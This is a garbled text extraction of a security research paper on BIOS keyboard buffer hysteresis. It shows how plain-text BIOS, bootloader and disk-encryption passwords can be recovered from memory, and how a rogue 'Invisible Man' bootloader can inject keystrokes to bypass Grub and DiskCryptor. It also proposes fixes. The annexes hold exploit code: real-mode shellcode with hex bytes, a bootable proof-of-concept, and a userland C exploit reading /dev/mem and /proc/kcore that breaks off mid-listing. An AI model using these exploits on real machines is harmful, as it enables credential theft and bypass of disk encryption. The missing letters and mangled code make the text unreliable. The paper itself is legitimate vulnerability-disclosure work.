Bypassing
instrumenting the BIOS keyboard buer
(pra
ti
al low level atta
ks against x86
authenti ation softwares)
Jonathan Brossard - jonathanivizindia. om
Iviz Te hnosolutions Pvt. Ltd. , Kolkata, India
"The walls between art and engineering exist only in our minds." Theo
Jansen
Abstra
t.
1Introdu tion
In a previous arti
le[7℄ regarding BIOS passwords and CMOS se
urity, we presented how BIOS passwords
ould be extra
ted from memory. In the present arti
le, we will generalize our resear
h to any
1 f: Annexe A for a non exhaustive list softwares vulnerable to plain text password leakage.
how password prote ted bootloaders an be rebooted without physi al a ess, leading to a full se urity bypass.
In the rest of this arti
le, otherwise expli
itly mentioned, p4ssw0rd is the password to the target
In order to introdu
e the
ontext in whi
h
1.1An overview of Operating Systems booting
Under the x86 ar hite ture, the boot sequen e an be divided in the fol- lowing steps[8℄[9℄ :
The CPU starts in Real Mode[10℄.
All segment register are set to 0,
s is set to 0xFFFFFFF0.[11℄[12℄. Quoting the Intel manual Vol 3A
hapter
taining the initialisation ode must be present at this address. The EPROM2 in question is indeed the BIOS.
BIOS POST (Power On Self Test) he ks (hardware he king : he ks for RAM, bus, disks, et ) are performed[13℄.
The BIOS loads the rst 512 bytes of the Master Boot Re ord (boot- loader bootstrapping) at address 0x0000:0x07C0 in RAM, and per- forms a far jump to this lo ation, using int 0x19.
The boot loader is responsible for booting the kernel (with optional parameters, possibly a big kernel, et ...).
The kernel
opies part of the BIOS Map to a safe lo
ation[14℄
Starting from this point, an authenti
ation pro
ess is not qualied of
2Nowadays, BIOSes are not oded on EPROMs anymore, but on Programmable Read- only Nonvolatile RAM[12℄, similar to EEPROM
1.2
Given what we have seen previously, a
Sin
e there is no kernel in memory when this authenti
ation software is run in RAM, the only API available to the programmer of a
1.3Introdu ing the vulnerability : inner workings of BIOS interruption 0x16 and BIOS keyboard buer hystheresis
The BIOS API oers interruption 0x16[18℄ to retrieve keystrokes from the keyboard. In parti ular, fun tions ah=0x01 he ks (and reads) if a key has been pressed and fun tion ah=0x00 reads this keystroke, return- ing the ASCII ode of the keystroke in the AL register and its s an ode (read by Int 0x09 - i.e.: IRQ1[19℄ - from the keyboard and pla ed into the buer. This me hanism allows the use of extended keystrokes, e.g.: Alt+Shift+Keystroke) in the AH register.
We an verify that bootloaders like lilo a tually use those interruptions to read input from the user[20℄ : f gure 1.
Fig. 1. Keyboard reading routine in lilo (le se ond.S taken from lilo 22.8).
But how is this me hanism made possible inside the BIOS itself ?
At boot time, a riti al stru ture, the BIOS Data Area is reated at lo ation 0x0040:0x0000 in RAM. The keyboard ontains an embedded
3Other authenti ation methods su h as usb tokens, smart ards or biometry are out of the s ope of this paper.
8042[21℄ mi ro ontroller to ontinuously s an for keystrokes pressed or released, in real time, independently of the workload of the main CPU. Every time a keystroke is pressed or released, this mi ro ontroller sends a s an ode to a se ond mi ro ontroller (PIC 8259[22℄) present in the motherboard. This mi ro ontroller unies the two keystrokes sent when pressing and releasing a key and sends a unique s an ode to the keyboard interrupt servi e routine (i.e.: the ISR of interruption 0x09, or physi al IRQ 0x01). The keyboard ISR updates a riti al stru ture reated at boot time at lo ation 0x40:0x00[23℄ : BIOS Data Area a ordingly : f gure 2. It ontains several leds related to keyboards fun tions[24℄ : f gure 3.
Fig. 2. Keyboard handling overview under x86 ompatible ar hite tures.
The BIOS keyboard buer is a tually found at lo ation 0x0040:0x001e. It is 32 bytes long. Sin e a keystroke is oded on two bytes (the rst one for its ASCII ode, the se ond one for its BIOS s an ode), it an handle up to 16 keystrokes4.
The pointers lo ated at 0x0040:0x001A and 0x0040:0x001C keep tra k of how many keys are urrently present inside the buer, and how many have been read so far : therefore, if a user enters the password 'password',
4a tually, the enter key is oded on a single byte, so the keyboard may ontain a bit more than 16 keystrokes.
Fig. 3. Elements of the BIOS Data Area relevant to keyboard handling.
the BIOS keyboard buer would go through the following states between keystrokes : f gure 4.
Fig. 4. Pointers evolution while entering keystrokes (using the keyboard...).
The main problem of this me hanism is that this buer is not ushed after a key has been queried via interruption 0x16, fun tion ah=0x00[18℄, while programmers may assume it is, only the pointer to the next key is updated : f gure 5.
1.4Verifying there is a vulnerability in a BIOS Password he king routine
To demonstrate the fa t that most programmers will not be aware of this problem, let's verify how the programmers of the BIOS have imple- mented the user BIOS password feature inside the BIOS ash memory
Fig. 5. Pointers evolution while reading keystrokes (using int 0x16).
itself5.
To do so, we will need a small 16 bytes BIOS shell ode ( f: Annexe B
:Shell ode.S ) to a ess physi al memory via real addressing, in Real Mode, and display the ontent of memory at lo ation 0x0040:0x001e.
Sin e this shell ode annot be run from prote ted mode, we will raft a small USB bootloader to load and run it at boot time in real mode ( f: Annexe C : SploitOS.S ) : f gure 6.
Fig. 6. Our simple bootloader running the 16b shell ode in real mode and revealing the Bios password.
As we
an see, the programmers of the BIOS itself fail at properly ushing the BIOS keyboard buer after use. Obviously, programmers of
5I am using an Intel BIOS, version PE94510M.86A.0050.2007.0710.1559 (07/10/2007).
1.5Passwords haining
At this point, a
areful reader may ask : What happens if the user has to type two passwords before the bootloader loads and transfers
ontrol to the kernel ? This is a perfe
tly valid question sin
e it is absolutely possible to prote
t a
omputer with, for instan
e, both a BIOS password and a
Be ause the BIOS keyboard buer is a rotative buer, like explained in gure 5, if the user enters multiple input during the boot sequen e, the keystrokes will simply be on atedated in the BIOS keyboard buer (separated by a 0x1a hara ter orresponding to the arriage return keystroke). Pra ti ally, it means that we an retrieve multiple passwords or ommands in the very same way we would retrieve a single password.
Now that we have a better understanding of the vulnerability, let's move to a tual exploitation under Mi rosoft Windows, and then under *nix platforms.
2Retrieving
Windows (from Windows 95 to Vista) is running, like every modern OS, under Prote ted Mode to enable paging, segmentation, and multitasking. It is therefore impossible to a ess physi al addresses dire tly : if we want to get a ess to a memory lo ation, we will have to use virtual adressing and only the Memory Management Unit[25℄ will be able to translate it into a physi al address whi h we will not even know...
To ir umvent prote tions of Prote ted Mode and segmentation, a rst strategy ould be to swit h the OS ba k to Real Mode. This would re- quire modifying the value of ontrol register r0, hen e require ring 0 privileges[11℄. It ould be implemented as a kernel driver, but would be highly non portable a ross versions of the Windows kernel, plus it would require spe ial privileges.
An other strategy, to disable segmentation and a ess the full physi al memory in read or even write mode would be to swit h to System Man- agement Mode to run our shell ode in 16 bits mode. Su h an atta k has been proved to be pra ti al, assuming the atta ker has root privileges, under OpenBSD[6℄.
But a
tually, all we need is a small shell allowing us to a
ess the rst few kilobytes of physi
al memory in read mode, and optionally to do a few raw
alls to BIOS interruptions to display the
ontent of the BIOS keyboard buer. Fortunatelly, the
be disabled, but we have a
ess to Int 0x10 and even
Fig. 7. Su essful exploitation under Windows 2003.
The benets of this method are obvious : it is portable a ross every version of Windows from 95 to Vista 8. And more importantly, this ex- ploitation te hnique requires no spe ial privileges. Notably, Mi rosoft Vista Ultimate edition with Bitlo ker's disk en ryption and TPM en- abled is vulnerable to this atta k.
3Retrieving
Retrieving the
ontent of the BIOS keyboard buer from Windows was quite easy be
ause its
Unfortunately, there is no su h real mode + physi al memory read shell under most Unixes. Virtual ma hines and emulators running from user- land emulate the Interruptions entirely, and will not allow us to retrieve a tual information from the BIOS keyboard buer.
In fa t, under Linux, there is a library, lrmi[26℄ (Linux Real Mode In- terfa e), whi h is merely a wrapper around sys all 113 sys_vm86old.
6 ... sin e we are not really using a 16 bits CPU, but emulating it over a 32 bits ar hite ture.
7 We are here using a Fren
h version of Windows Server 2003 SP2 Entreprise Edition. 8 A
tually, be
ause of the imperfe
t emulation of 16 bits CPUs, there is one byte to
hange to make it work under the real 16 bits mode of the a
tual
Windows 95, so that the memory read a tually points to the desired lo ation.
Assuming we have IOPL(3) - i.e.: root privileges in pra
ti
e, unless we nd an arbitrary
ode exe
ution bug in a servi
e who has been granted IOPL(3), like Xorg
Fig. 8. Linux Real Mode Interfa e (lrmi) data stru ture to V86 sys all as dened in lrmi.h.
That being said, there are other ways to a ess memory under Unix to bypass segmentation prote tions and read arbitrary physi al memory lo ations. We will rst fo us on userland atta ks and present a generi atta k amongst Unix platforms from userland with root privileges, and se ondly demonstrate an atta k from Kernel Land in the form of a Linux Kernel Module.
9It may nonetheless be possible to use the lrmi library and allowed interruptions to opy the BIOS Data Area to an other pla e in memory. Or retrieve parts of memory in modied registers, sin e manipulating physi al memory via the input parameters rafted into this datastru ture is allowed...
3.1Generi
userland exploits against
Solaris, *BSD and GNU/Linux provide a spe ial devi e to a ess phys- i al memory dire tly, at least in read mode10 : the hara ter devi e /dev/mem. Sin e it is really a mapping of the physi al RAM of the system, all we need to do is to open /dev/mem in read mode, mmap() its rst page and retrieve the ontent of the BIOS keyboard buer start- ing from address 0x041e : f gure 9.
Fig. 9. Plain text password leakage via /dev/mem under *nix.
In a similar way, we ould retrieve the BIOS keyboard buer from the ker- nel memory itself, from userland, using the hara ter devi e /dev/kmem11
: f gure 10.
Fig. 10. Plain text password leakage via /dev/kmem under GNU/Linux.
Finally, we ould retrieve the same information from the pseudo lesys- tem /pro if /pro /k ore is available12. This le presents the same in- formation as /dev/kmem, the kernel memory (whi h we know ontains a opy of the BIOS Data Area from paragraph 1), but has the stru ture of a ore le. It is really just a matter of nding the right oset in the ore le (0x141e) : f gure 11.
Eventually, we managed to extra t the ontent of the BIOS keyboard buer from userland under Unix in a generi way. We oded a tool based on those experiments ( f: Annexe D : generi .unix.sploit. ) : f gure 12.
10Under OpenBSD, this devi e is in read only mode even for root, if se urelevel is set to se ure mode 2[6℄.
11This experiment is run under a Linux kernel version 2.6.22, addresses will dier amongst *nix avours be ause the kernel is not mmapped at the same address.
12It is enabled by default on most GNU/Linux distributions.
Fig. 11. Plain text password leakage via /pro /k ore under *nix.
Fig. 12. Our generi userland exploit running under *nix.
This exploit is really generi
: it works not only against multiple
other of the above mentioned devi e drivers or the /pro pseudo lesys- tem15.
On e overed user land exploitation, we will attempt to retrieve plain text passwords from the kernel.
3.2Doing it the hard way : retrieving passwords from kernel land
In this se tion, we will fo us on GNU/Linux exploitation only, from a kernel land s ope.
Let's rst of all verify that the BIOS Keyboard buer is present in mem- ory at lo ation 0xC000041E16 : f gure 13.
We have oded an exploit in the form of a Linux Kernel Module ( f: Annexe E : ksploit. ) whi h will add a new entry to the /pro pseudo lesystem and display any password present in the BIOS keyboard buer
: f gure 14.
13 f: Annexe A.
14Tested under FreeBSD 6.3, OpenBSD 4.0, OpenSolaris 5.11 and several GNU/Linux distributions in luding Gentoo 2006 and Ubuntu Gutsy.
15Even se ure kernels hardened by the se urity pat h from grse urity[27℄ up to and in luding version 2.1.10 ( urrent) are vulnerable to these atta ks.
16Here, we are remotely debugging a 2.6.19 Linux kernel running under Gentoo 2006 inside Vmware Workstation 6.0 using gdb under Ubuntu[28℄.
Fig. 13. GNU/Linux kernel debugging reveals plain text passwords.
Fig. 14. Our Linux Kernel Module exploit adding a le ontaining plain text passwords under /pro .
Now that we know how to retrieve plain text passwords from
4Rebooting a
omputer prote
ted with a
Rebooting a
omputer
an be helpful to an atta
ker in a large range of s
enarios, being it to boot an other
Even if an atta
ker is able to retrieve the password to a
17like rebooting GNU/Linux in single mode by appending 'init=/bin/sh' or su h to the grub ommand line.
In this se tion, we fo us ex lusively on atta ks against bootloaders. The general methodologies des ribed an be adapted to BIOS passwords like- wise, but they require some fair amount - read non trivial fair amount- of reverse engineering[31℄ and pat hing[30℄ on the BIOS ash ROM and are therefore too vendor spe i to be aborded in this arti le. From now on, we also assume the atta ker is granted enough privileges to modify the bootloader.
4.1Remotely rebooting a
If the password asked at boot time is not used to de rypt any portion of the hard disk18, then bypassing the bootloader prote tion is relatively easy : an atta ker with root privileges an simply repla e the urrent bootloader with a new one, re ongure the very same bootloader with- out a password, or if no onguration le is present on the lesystem and the bootloader is really ustom, pat h the password he king routine in the bootloader itself...
It is for instan e quite easy to pat h lilo so that it boots without tim- out, without verifying the he ksums of its onguration les, or without prompting a password. In gure 15, we have pat hed lilo so that it in- stalls a new bootloader, without modifying its onguration les19, to boot the rst valid kernel available immediatly, without asking for a password. For more details on pat hing bootloaders, the arti le Ha king Grub for fun and prot[29℄ by CoolQ in issue 63 of Phra k magazine is a good starting point.
In this simple
ase, knowledge of the
4.2Remotely rebooting a
In ase the bootloader uses the password to de rypt the disks, a simple pat hing of the password routine will not su e : the atta ker really needs to have the bootloader de rypt the system partition20.
18... like in bootloaders a la Grub or Lilo.
19in parti ular the /boot/.map le, ontaining the meat of the onguration at boot time.
20One ould also, quite inelegantly, try to retrieve the de ryption algorithm by reverse engineering the bootloader and attempt to reimplement a de ryption routine it in his own ustom bootloader...
Fig. 15. Pat hed lilo rebooting without prompting for a password.
If the bootloader doesn't verify that the BIOS keyboard buer is empty before asking for a password, it ould be lled by an atta ker so that when the bootloader a tually alls interruption 0x16 to retrieve keys, the BIOS a ts like the atta ker was simultaneously typing a password from the onsole.
To ll the keyboard buer before the bootloader itself tries to
all in- terruption 0x16, we will need to insert our own rogue bootloader before the
Initializing the keyboard buer ould be done by writing dire tly to this buer lo ated at 0x40:0x1e and then update the pointers to the next and latest hara ters at lo ations 0x40:1 and 0x40:1a. But instead of writing dire tly to the BIOS Data Area, there is a more elegant way to handle this problem : mi ro ontrollers (PIC) programming...
We have mentioned previously that the keyboard and the motherboard both ontain Programmable Interrupt Controllers (PICs), that an be ontrolled21 dire tly via I/O ports 0x60 and 0x64. By arti ially for ing the 8042[21℄ mi ro ontroller to send s an odes to the 8259[22℄ mi ro on- troller, we an emulate the a t of pressing and releasing a key on the keyboard : f : gure 16.
21We will not detail the te hni ality envolved in this tri k in this paper, but the interested reader an note that "The Art of Assembly"[23℄, in parti ular hapter 20 is a must read referen e on that topi .
Fig. 16. Keystroke emulation via 8042 and 8259 mi ro ontrollers programming.
The atta k roadmap to install the rogue bootloader an therefore be di- vided into the following steps : f: gure 17.
Fig. 17. Roadmap to install a rogue bootloader on the disk.
On e installed in pla e of the original bootloader, the rogue bootloader needs to ll in the BIOS keyboard buer before restoring the old MBR and simulate22 an interruption 0x19 to restart the bootstraping pro ess.
22We
ould attempt to issue an a
tual int 0x19, but Ralf Brown reported that some non
Fig. 18. Roadmap for the rogue "Invisible Man" bootloader during the bootloader in the middle atta k.
The OS independant ode of our rogue bootloader, alled Invisible Man23, implementing this bootloader in the middle atta k an be found on Annexe F. We also provide an example of how to install this bootloader under a GNU/Linux environment in Annexe G.
To illustrate the atta
k, let's
onsider the following s
enario : an atta
ker has obtained root a
ess to a GNU/Linux
omputer running Ubuntu. This
omputer has a se
ond Operating System, Windows XP Profes- sional SP2, installed on its own drive, fully en
rypted using DiskCryp- tor version 0.2.6 (latest). Both the GNU/Linux and the Windows Op- erating Systems are loaded via a
ommon Grub (version 0.97) boot- loader, prote
ted with an MD5 password hash. The atta
ker
annot sim- ply mount the Windows partition from the
ompromised GNU/Linux, be
ause of the AES en
ryption layer added by DiskCryptor. But sin
e he has knowledge of both passwords24, respe
tively toto and titi, the at- ta
ker is nonetheless de
ided to bypass both the Grub and the DiskCryp- tor
Sin e there are really two passwords to enter in a row, the atta ker will need to use the "password haining" te hnique introdu ed earlier. Let's detail a bit the sequen e of keystrokes to be entered upon reboot :
Be ause Grub is ongured to boot silently without displaying the menu to the user in rst pla e, the atta ker rst needs to simulate an es ape keystroke to get a ess to the Grub menu. He will then sele t the desired OS by emulating the up key or down key and then the enter key.
At this time, Grub will prompt for its password : the atta ker needs to simulate the fa t of entering the Grub password, toto, and then
23This atta ks envolves keystrokes emulation by programming the 8042 PIC embedded inside the keyboard. Hen e, removing the keyboard will make the exploit fail... this is why we alled it Invisible Man and not Invisible keyboard for instan e ;)
24Possibly thanks to the BIOS keyboard buer hystheresis atta k des ribed in the rst part of this paper...
press the enter key.
Finally, DiskCryptor's authenti ation will request its password, titi, followed by a nal enter keystroke.
Assuming Windows is the rst Operating system in the Grub menu, the whole keystroke sequen e to be simulated by the rogue bootloader at boottime is therefore : [es ape℄[enter℄[t℄[o℄[t℄[o℄[enter℄[t℄[i℄[t℄[i℄[enter℄.
"Invisible Man" is able to initialize the BIOS keyboard buer to simu- late this omplex keyboard sequen e before transfering ontrol to Grub. The installation of Invisible Man with the new password sequen e is illustrated in gure 19.
Fig. 19. Conguring Invisible Man to ll the BIOS keyboard buer with a omplex password sequen e upon reboot.
Before the Windows splash s reen nally appears, an observator looking at the s reen of the omputer would see something like gure 20 where the rst password entered below the grub menu is the Grub one, while the following one is the one of Disk ryptor.
The main limitation of this me
hanism is the size of the BIOS keyboard buer, whi
h is only 32 bytes long. Sin
e most keys
Finally, if a
Fig. 20. The "Invisible Man" bypassing both Grub and DiskCryptor authenti ations by simulating a omplex keyboard sequen e via "password haining".
5Mitigating the vulnerabilities
In a nutshell, we have showed how not initializing the BIOS keyboard buer before usage, or not learing it after usage lead to potential BIOS keyboard buer manipulations. There are really two potential vulnera- bilities we need to address : initialize the BIOS keyboard buer memory before the bootloader uses it, and lean the BIOS Data Area in three lo ations : the BIOS keyboard buer itself (32 bytes long, at address 0x40:0x1e), and the two asso iated pointers at addresses 0x40:1a and 0x40:0x1 (to avoid any information leak regarding the password length) after usage.
We an think of two ways to sanitize the BIOS Data Area after reading user input. The rst one involves learing the relevant memory areas af- ter usage in the bootloader itself. The se ond one is to lear those same areas at boot time in the kernel.
None of the suggested x is perfe
t : if we
lear the BDA right after the bootloader has
ompleted his task, hen
e before the kernel is loaded, then any
25like tuxoni e/suspend2 hibernation to disk kernel pat h.
26in other words, there is a ra e ondition between the atta k and the x...
provide a partial x for GNU/Linux x86 (assuming a 3GB/1GB user- land/kerneland split) 2.6 kernels anyway, that will zero out the three memory areas mentioned earlier : f gure 21.
Fig. 21. Suggested Linux Kernel Module to sanitize the BIOS Data Area.
Likewise, initializing (or leaning) the BIOS keyboard buer and its pointers at bootloader level is a matter of adding a few lines of 16b assembly : f gure 22.
Fig. 22. Suggested bootloader routine to sanitize the BIOS Data Area.
We believe that initializing and leaning should be done in the software manipulating the BIOS keyboard buer, being it the BIOS itself, the bootloader or the kernel. The booting sequen e in x86 ar hite ture be- ing stri tly monopro ess, this is the safest way to avoid ra e onditions between the x and any potential bootloader in the middle, let aside pat hing of the initializing or leaning routine, against whi h we are not aware of any possible denitive x.
6Con lusion
In the present paper, we have detailed a new
lass of vulnerability af- fe
ting
In fa
t, we have rstly shown that many
Se
ondly, we have shown that not initializing the BIOS keyboard buer allows an atta
ker with enough privileges to write to the Master Boot Re
ord but without
onsole a
ess to remotely reboot a
By
ombining the two atta
ks, we have demonstrated a pra
ti
al full
Finally, we have suggested partial xes, at bootloader and kernel lev- els. Those pat hes are quite imperfe t sin e they fail at ensuring the atomi ity of the various buer manipulations : initializing and reading or reading and leaning the BIOS keyboard buer. Therefore, even if the
early bootstraping pro ess is supposed to be monopro ess, a bootloader in the middle atta k an still be attempted if an atta ker is ready to insert his ode during the normal exe ution of the a tual bootloader (af- ter buer has been initialized, but before keystrokes have been read), or right after it (on e the buer is lled, but before it is later leaned). We believe this issue annot be addressed by software only means and would require additional integrity he ks implemented at BIOS level to ensure the Master Boot Re ord has not been tampered with.
Additionally, we have limited the s
ope of this paper to password based authenti
ation and exploitation without physi
al a
ess solely. Biomet- ri
s,
Annexe A : Non exhaustive list of softwares vulnerable to plain text
password leakage
Vulnerable softwares :
BIOS passwords :
Award BIOS Modular 4.50pg[32℄
Insyde BIOS V190[33℄
Intel Corp PE94510M.86A.0050.2007.0710.1559 (07/10/2007)
Lenovo 7CETB5WW v2.05 (10/13/2006)
Full disk en
ryption with
apabilities :
Bitlo ker with TPM and password based authenti ation enabled un- der Mi rosoft Vista Ultimate Edition
True rypt 5.0 for Windows
DiskCryptor 0.2.6 for Windows (latest)
Se u Star DriveCrypt Plus Pa k v3.9 (latest)
Boot loader passwords :
grub (GNU GRUB 0.97) (latest CVS)
lilo version 22.6.1 ( urrent under Mandriva 2006)
Other Softwares :
Software suspend 2 (now tuxoni
e), Linux Kernel Pat
h (we tested version
Non vulnerable softwares :
BIOS Passwords :
Pheonix BIOS Version F.0B, 7/3/2006
Phoenix Te
hnologies LTD R0220Q0
Full disk en
ryption with
apabilities :
SafeGuard 4.40 for Windows
PGP Desktop Professional 9.8 for Windows (Trial Version)
|
Annexe B : Shell ode.S |
|
; |
; |
|
; |
|
; |
; |
Jonathan Brossard // jonathanivizindia. om |
; |
; |
endrazinegmail. om |
; |
; |
|
; |
; 16b shell ode, BIOS API only used : aimed at being Xplatform |
; |
|
; if run under virtual or real mode... |
; |
|
; |
|
; |
; Compiling : nasm |
; |
|
; |
; |
;\x30\xe4\xb0\x40\x8e\xd8\xb0\x1 \x89\x 6\x30\xed\xb1\x10\x3e\x8b
;\x04\x30\xe4\x3 \x20\x72\x04\x3 \x7e\x72\x02\xb0\x20\x83\x 6\x02
;\x56\x51\x50\xb4\x03\x30\xff\x d\x10\xb4\x02\xfe\x 2\x d\x10\x58
;\xb4\x0a\xb3\x06\xb1\x01\x d\x10\x59\x5e\xe2\xd2\x30\xe4\xb0\x4
;\x d\x21
org 100h
se tion .text
_start:
xor ah, ah |
|
|
mov al, 0x40 |
; 0x40:0x1e : keyboard buffer address |
|
mov ds, ax |
|
|
mov al, |
0x1 |
|
mov si, |
ax |
|
xor h, h mov l, 0x10
leakloop:
mov ax, [ds:si℄
xor ah,ah
mp al, 0x20 jb keep opying mp al, 0x7e jb keep opying2
keep opying:
mov al, 0x20
keep opying2:
add si, byte +0x2 ; Repla e this line by add si,4
;if you plan to use it under
;due to imperfe t emulation of 16b
;ar h under windows.
push si push x push ax
mov ah, 0x03 xor bh, bh int 0x10
mov ah, 0x02 in dl
int 0x10
pop ax
mov ah, 0ah mov bl, 06h mov l, 0x01 int 0x10 pop x
pop si
loop leakloop
xor ah,ah int 0x16
int 0x19
;EOF
|
Annexe C : |
; |
|
; |
|
;Simple bootstrap to test our BIOS shell ode and verify that
;passwords an be leaked in plain text under REAL MODE.
;
;// Jonathan Brossard
;jonathanivizindia. om
;endrazinegmail. om
;
;
;[ Compiling and using Sploit OS ℄
;The purpose of this ode is to reate a bootable usb disk image
;Po
that will retrieve
;BIOS memory in Real mode when booted.
;
;
;Here, I assume your usb disk is lo ated on /dev/sdb
;Use `fdisk
;those ommands to mat h your own devi e name.
;
;
;Compiling :
;
;sploitos.asm
;
;Verifying the bootable image is ok:
;
;x86 boot se
tor,
ode offset 0x3
,
; luster 4, root entries 512, se tors 32768 (volumes <=32 MB) ,
;Media des riptor 0xf8, se tors/FAT 32, heads 64,
;serial number 0xdeb00001, label: "[endrazine℄", FAT (16 bit)
;
;
;Installing:
;
;
;
;Rebooting:
;
;
org 0x7 00 |
;to be loaded at RAM |
address 0000:7C00 |
se tion .text |
|
|
_start: |
|
|
jmp short realstart |
; jump over |
the boot re ord's data |
; |
|
;Create a boot re ord with appropriate geometry et . for a usb boot disk
;
brINT13Flag |
DB |
90H |
|
; |
0002h |
- |
0EH for INT13 AH=42 READ |
||
brOEM |
|
DB |
'SploitOS' |
; |
0003h |
- |
OEM name & DOS version |
||
brBPS |
|
DW |
512 |
|
; |
000Bh |
- |
Bytes/se tor |
|
brSPC |
|
DB |
4 |
|
; |
000Dh |
- |
Se tors/ luster |
|
brResCount |
DW |
1 |
|
; |
000Eh |
- |
Reserved (boot) se tors |
||
brFATs |
|
DB |
2 |
|
; |
0010h |
- |
FAT opies |
|
brRootEntries |
DW |
200H ; 0011h - Root dire tory entries |
|
||||||
brSe torCount |
DW |
32768 ; 0013h - Se tors in volume, < 32MB |
|||||||
brMedia |
|
DB |
0xf8 ; 0015h - Media des riptor |
|
|||||
brSPF |
|
DW |
32 |
|
; |
0016h |
- Se tors per FAT |
||
brSPH |
|
DW |
32 |
|
; |
0018h |
- Se tors per tra k |
||
brHPC |
|
DW |
64 ; 001Ah - Number of Heads |
|
|||||
brHidden |
|
DD |
0 |
|
; |
001Ch - Hidden se tors |
|
||
brSe tors |
DD |
0 |
; 0020h |
- Total number of se tors |
|||||
DB |
0 |
|
; 0024h - Physi al drive no. |
|
|||||
DB |
0 |
|
; 0025h - Reserved (FAT32) |
|
|
||||
DB |
29H |
|
; 0026h - Extended boot re ord sig |
|
|||||
brSerialNum |
DD |
0xdeb00001 |
; |
0027h |
- Volume serial |
number |
|||
brLabel |
|
DB |
'[endrazine℄' |
; |
002Bh - Volume label |
(11 hars) |
|||
brFSID |
|
DB |
'FAT16 |
' |
; |
0036h |
- File System ID (8 hars) |
||
|
|
|
|
|
|
|
|
||
realstart: |
|
|
|
|
|
|
|
|
|
|
mov ax, |
0x1301 |
|
|
|
|
; BIOS write string fun tion |
||
|
mov bx, |
0x07 |
|
|
|
|
; write in urrent page |
||
|
mov x, |
122 |
|
|
|
|
|
|
|
|
xor dx, |
dx |
|
|
|
|
; start in upper left orner |
||
|
mov ebp, Creditstring |
|
|
|
|
|
|
||
|
int 0x10 |
|
|
|
|
|
|
|
|
|
mov bx, |
4 |
|
|
|
|
|
|
|
|
mov dx, |
5 |
|
|
|
|
|
|
|
|
xor dx,dx |
|
|
|
|
|
|
|
|
|
mov dh, |
7 |
|
|
|
|
|
|
|
|
smsw ax |
|
|
|
; |
Verify we are in real (or v86 ?) mode... |
test al,1 |
; by he king PE bit of CR0 |
je near real |
|
|
; we are in v86 mode... |
mov ax, 0x1301 |
|
mov x, 56 |
|
mov ebp, v86string |
|
int 0x10 |
|
jmp near reboot |
|
real: |
; we are in real mode... |
mov ax, 0x1301 |
|
mov x, 76 |
|
mov ebp, realstring |
|
int 0x10 |
|
[ Start of BIOS shell
ode |
|
xor ah, ah |
|
mov al, 0x40 |
; 0x40:0x1e : keyboard buffer address |
mov ds, ax |
|
mov al, 0x1e |
|
mov si, ax |
|
mov x, 0x10 |
|
leakloop: |
|
mov ax, [ds:si℄ |
|
xor ah, ah |
|
mp al, 0x20 |
|
jb keep opying |
|
mp al, 0x7e |
|
jb keep opying2 |
|
keep opying: |
|
mov al, 0x20 |
|
keep opying2: |
|
add si, byte +0x2 |
; Repla e this line by add si,4 |
|
; if you plan to use it under |
|
; due to imperfe t emulation of 16b |
|
; ar h under vm86. |
push si |
|
push x |
|
push ax |
|
mov ah, 0x03 |
|
xor bh, bh |
|
int 0x10 |
|
mov ah, 0x02 in dl
int 0x10 pop ax
mov ah, 0ah |
|
|
|
mov bl, 06h |
|
|
|
mov l, 0x01 |
|
|
|
int 0x10 |
|
|
|
pop x |
|
|
|
pop si |
|
|
|
loop leakloop |
|
||
[ End of BIOS shell
ode |
|||
reboot: |
|
|
|
mov ax, 0x1301 |
|
||
mov bx, 4 |
|
|
|
mov x, 27 |
|
|
|
xor dx, dx |
|
|
|
mov dh, 11 |
|
|
|
mov ebp, |
Byestring |
|
|
int 0x10 |
|
|
|
xor ax, ax |
|
; wait for a key to be pressed |
|
int 0x16 |
|
|
|
jmp 0xffff:0x0 |
; reboot |
||
v86string |
db |
||
realstring |
db |
||
|
db |
'',13,10 |
|
|
db |
||
|
db |
'',13,10 |
|
Creditstring |
db |
' [ Sploit OS : Real mode BIOS hysteresis Po ℄',13,10 |
|
|
db |
'',10,13 |
|
|
db |
' // Jonathan Brossard - jonathanivizindia. om',10,13 |
|
|
db |
' // endrazinegmail. om',13,10 |
|
|
db |
'',13,10 |
|
Byestring |
db |
||
times |
; Write boot signature at |
||
dw 0x0AA55 |
|
; address (512 - 2) bytes |
;EOF
Annexe D : generi .unix.sploit.
/*
*
*BIOS keyboard buffer hysteresis generi userland exploit for *nix.
*// Jonathan Brossard - jonathanivizindia. om - endrazinegmail. om
*Tested su essfuly under various Linux, *BSD and Solaris platforms.
*This ode is able to retrieve passwords from both /dev devi es (a la /dev/mem,
*a raw mapping of the physi al memory), and files from pseudo file system /pro
*(a la k ore, whi h ontains kernel memory under the stru ture of a ore file).
*Limited support is also provided to handle /dev/kmem under Linux.
*
*/
#in lude <stdio.h> #in lude <stdlib.h> #in lude <unistd.h> #in lude <sys/types.h> #in lude <sys/uio.h> #in lude <sys/types.h> #in lude <sys/stat.h> #in lude <f ntl.h> #in lude <unistd.h> #in lude <string.h> #in lude <errno.h> #in lude <getopt.h>
#in lude <mallo .h> #in lude <sys/mman.h>
/*
*Define default targets files and offsets
*/
#define DEFAULT_DEVICE "/dev/mem" #define BIOS_BUFFER_ADDRESS_M 0x041e
#define DEFAULT_PROC "/pro /k ore" #define BIOS_BUFFER_ADDRESS_K 0x141e
#define DEFAULT_KERNEL_MAP "/dev/kmem" #define KERNEL_BUFFER_ADDRESS 0xC000041E
#define BUFF_LENGTH 255 /* max length for pathnames */
/*
* Display some help */
int usage(int arg , har **argv) {
fprintf(stderr,
"usage: %s
"\n" |
|
|
display this help\n" |
||
memory devi e (default: %s)\n" |
||
/pro pseudo file (default: %s)\n" |
||
kernel memory devi e (default: %s)\n" |
"\n",
argv[0℄, DEFAULT_DEVICE, DEFAULT_PROC, DEFAULT_KERNEL_MAP);
}
/*
*Give some redits
*/
int redits(void) {
printf("\n [ BIOS keyboard buffer hysteresis generi userland exploit for *nix. ℄\n"
"// Jonathan Brossard - jonathanivizindia. om - endrazinegmail. om\n\n"
"Tested under several flavours of GNU/Linux, *BSD and Solaris.\n\n");
return 0;
}
int main(int arg , har **argv) { int fd, i=0,j, f;
har tab[32℄; har tab2[16℄;
int ;
int digit_optind = 0;
int TARGET_OFFSET;
har TARGET_FILE[BUFF_LENGTH℄;
int devi e_flag |
= |
0; /* are we pro essing a |
devi e ? */ |
||||
int pro _flag = |
0; |
/* are we |
pro essing a |
file from /pro pseudo filesystem ? */ |
|||
int |
kernel_flag = |
0; /* |
are we |
pro essing /dev/kmem ? |
*/ |
||
int |
password_flag |
= 0; /* |
is there a password stored in |
BIOS memory ? */ |
redits();
if (arg < 2) usage(arg , argv);
/*
*Command line options parsing
*/
while (1) {
